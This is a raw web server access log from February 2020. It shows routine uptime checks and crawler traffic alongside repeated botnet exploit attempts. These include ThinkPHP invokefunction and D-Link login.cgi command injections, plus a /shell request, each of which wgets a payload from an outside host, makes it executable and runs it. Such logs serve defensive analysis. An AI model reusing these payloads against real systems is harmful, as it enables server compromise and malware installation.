212.91.246.72 - - [14/Feb/2020:07:26:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.230.170.106 - - [14/Feb/2020:07:26:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:07:27:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:28:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.42.195.86 - - [14/Feb/2020:07:29:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:07:29:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:30:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:31:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.47.157.79 - - [14/Feb/2020:07:31:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
211.192.224.217 - - [14/Feb/2020:07:31:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [14/Feb/2020:07:31:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [14/Feb/2020:07:32:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [14/Feb/2020:07:32:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:07:32:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.224.217 - - [14/Feb/2020:07:32:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
71.6.199.23 - - [14/Feb/2020:07:33:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
71.6.199.23 - - [14/Feb/2020:07:33:02 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
71.6.199.23 - - [14/Feb/2020:07:33:02 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
71.6.199.23 - - [14/Feb/2020:07:33:02 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
71.6.199.23 - - [14/Feb/2020:07:33:03 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.19.1"
37.187.90.103 - - [14/Feb/2020:07:33:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
212.91.246.72 - - [14/Feb/2020:07:33:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:34:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.48.110.246 - - [14/Feb/2020:07:34:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:07:35:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.100.12.210 - - [14/Feb/2020:07:36:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [14/Feb/2020:07:36:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.32.140.239 - - [14/Feb/2020:07:36:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [14/Feb/2020:07:37:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:38:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.119.160.50 - - [14/Feb/2020:07:39:25 +0100] "GET / HTTP/1.1" 200 1229 "https://s-forum.biz/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.119.160.50 - - [14/Feb/2020:07:39:25 +0100] "GET / HTTP/1.1" 200 1229 "https://izamorfix.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.119.160.50 - - [14/Feb/2020:07:39:26 +0100] "GET / HTTP/1.1" 200 1229 "https://s-forum.biz/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.119.160.50 - - [14/Feb/2020:07:39:26 +0100] "GET / HTTP/1.1" 200 1229 "https://izamorfix.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.119.160.50 - - [14/Feb/2020:07:39:26 +0100] "GET / HTTP/1.1" 200 1229 "https://s-forum.biz/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.119.160.50 - - [14/Feb/2020:07:39:26 +0100] "GET / HTTP/1.1" 200 1229 "https://izamorfix.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
212.91.246.72 - - [14/Feb/2020:07:39:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:40:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:41:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:42:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:43:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.239.117 - - [14/Feb/2020:07:44:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.239.117 - - [14/Feb/2020:07:44:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [14/Feb/2020:07:44:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:45:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:46:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.50.100.129 - - [14/Feb/2020:07:47:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:07:47:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:48:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:49:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:50:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.43.8.138 - - [14/Feb/2020:07:51:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:07:51:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.239.117 - - [14/Feb/2020:07:52:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [14/Feb/2020:07:52:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.239.117 - - [14/Feb/2020:07:52:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.239.117 - - [14/Feb/2020:07:53:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [14/Feb/2020:07:53:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.239.117 - - [14/Feb/2020:07:54:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [14/Feb/2020:07:54:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:55:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:56:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:57:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:58:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
174.81.167.164 - - [14/Feb/2020:07:58:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:07:59:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:00:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.119.197 - - [14/Feb/2020:08:00:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
42.117.20.156 - - [14/Feb/2020:08:00:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:08:01:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:02:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.129.17.68 - - [14/Feb/2020:08:02:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:08:03:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:04:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:05:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:06:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:07:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [14/Feb/2020:08:07:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [14/Feb/2020:08:07:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [14/Feb/2020:08:07:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [14/Feb/2020:08:07:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [14/Feb/2020:08:08:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:08:08:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.227.55.76 - - [14/Feb/2020:08:10:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:08:10:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.201.179.21 - - [14/Feb/2020:08:10:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:08:11:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:12:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.124.92.48 - - [14/Feb/2020:08:12:47 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [14/Feb/2020:08:13:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.114.147.225 - - [14/Feb/2020:08:14:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:08:14:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:15:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:16:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:17:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:18:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:19:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.50.252.238 - - [14/Feb/2020:08:20:20 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://178.128.183.31/arm7;chmod+777+arm7;/tmp/arm7+selfrep.jaws.arm7 HTTP/1.1" 400 329 "-" "Hello, world"
212.91.246.72 - - [14/Feb/2020:08:20:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:21:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:22:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:23:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:24:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:25:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:26:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:27:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:28:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:29:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:30:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.94.110 - - [14/Feb/2020:08:31:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:08:31:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:32:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:33:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.229.168.130 - - [14/Feb/2020:08:33:44 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)"
46.229.168.140 - - [14/Feb/2020:08:33:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)"
212.91.246.72 - - [14/Feb/2020:08:34:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.97.100.10 - - [14/Feb/2020:08:35:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:08:35:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.154.61.206 - - [14/Feb/2020:08:36:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0"
212.91.246.72 - - [14/Feb/2020:08:36:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:37:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:38:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:39:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.104.15.32 - - [14/Feb/2020:08:39:49 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:08:40:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:41:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.47.157.79 - - [14/Feb/2020:08:42:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:08:42:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:43:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:44:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:45:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:46:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:47:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:48:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:49:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:50:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.28.111.56 - - [14/Feb/2020:08:51:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [14/Feb/2020:08:51:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:52:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:53:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:08:54:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
